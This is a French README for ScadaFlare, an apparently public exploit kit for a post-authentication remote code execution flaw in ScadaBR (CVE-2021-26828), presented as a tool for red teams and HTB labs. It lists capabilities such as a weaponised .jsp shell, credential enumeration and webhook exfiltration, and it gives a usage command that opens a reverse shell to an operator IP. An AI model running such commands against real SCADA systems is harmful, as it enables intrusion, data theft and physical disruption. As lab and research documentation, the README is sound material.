ScadaFlare - CVE-2021-26828 Kit d'exploitation RCE authentifié

Un exploit RCE modulaire post-authentification ciblant ScadaBR <1.1.0, amélioré pour les opérations d'équipe rouge.

Fonctionnalités

• Télécharge un shell .jsp armé via view_edit.shtm
• Prend en charge les payloads Linux et Windows
• Support des proxy SOCKS5 / HTTP
• Déclenchement de reverse shell (standard ou base64)
• Modules d'énumération (BDD, identifiants, Log4Shell, etc.)
• Exfiltration par webhook (Slack / Discord)
• Génération de script de ressources Metasploit
• Prise en charge du nettoyage (kill switch)

Cartographie des techniques MITRE ATT&CK

CVE

• CVE-2021-26828
• Découvert par Fellipe Oliveira
• Exploit amélioré et modularisé

Pourquoi cela existe

Cet exploit a été développé lors de l'analyse du scénario HTB Pro Lab : Alchemy. Le PoC original de Fellipe Oliveira était solide mais :

Écrit en Python 2

Manquait de fonctionnalités modernes comme le support des proxy, le nettoyage du shell, le chaînage d'énumération

Était difficile à étendre ou intégrer dans les workflows des équipes rouges

Cette version, ScadaFlare, est une réécriture complète en Python 3 avec un support modulaire, plusieurs stratégies d'évasion, le remplacement de la détection d'OS, l'intégration de webhooks, le support des proxy SOCKS et des chaînes d'énumération pour une utilisation opérationnelle réelle.

Utilisation

python3 scadaflare.py http://172.16.0.20:80 admin admin \
  --reverse-ip 10.10.14.44 --reverse-port 4445 \
  --verbose --cleanup

Utilisation légale et éthique uniquement

ScadaFlare est conçu exclusivement pour :

• L'éducation au hacking éthique
• Les tests en laboratoire SCADA
• La recherche défensive et la validation de vulnérabilités

Une utilisation non autorisée contre des systèmes industriels réels peut :

• Perturber des processus physiques
• Causer des dommages ou des risques de sécurité
• Entraîner de graves conséquences juridiques

En utilisant cet outil, vous acceptez l'entière responsabilité de :

• Obtenir une autorisation écrite explicite
• Opérer uniquement dans des environnements approuvés

Licence

Licence MIT – voir LICENSE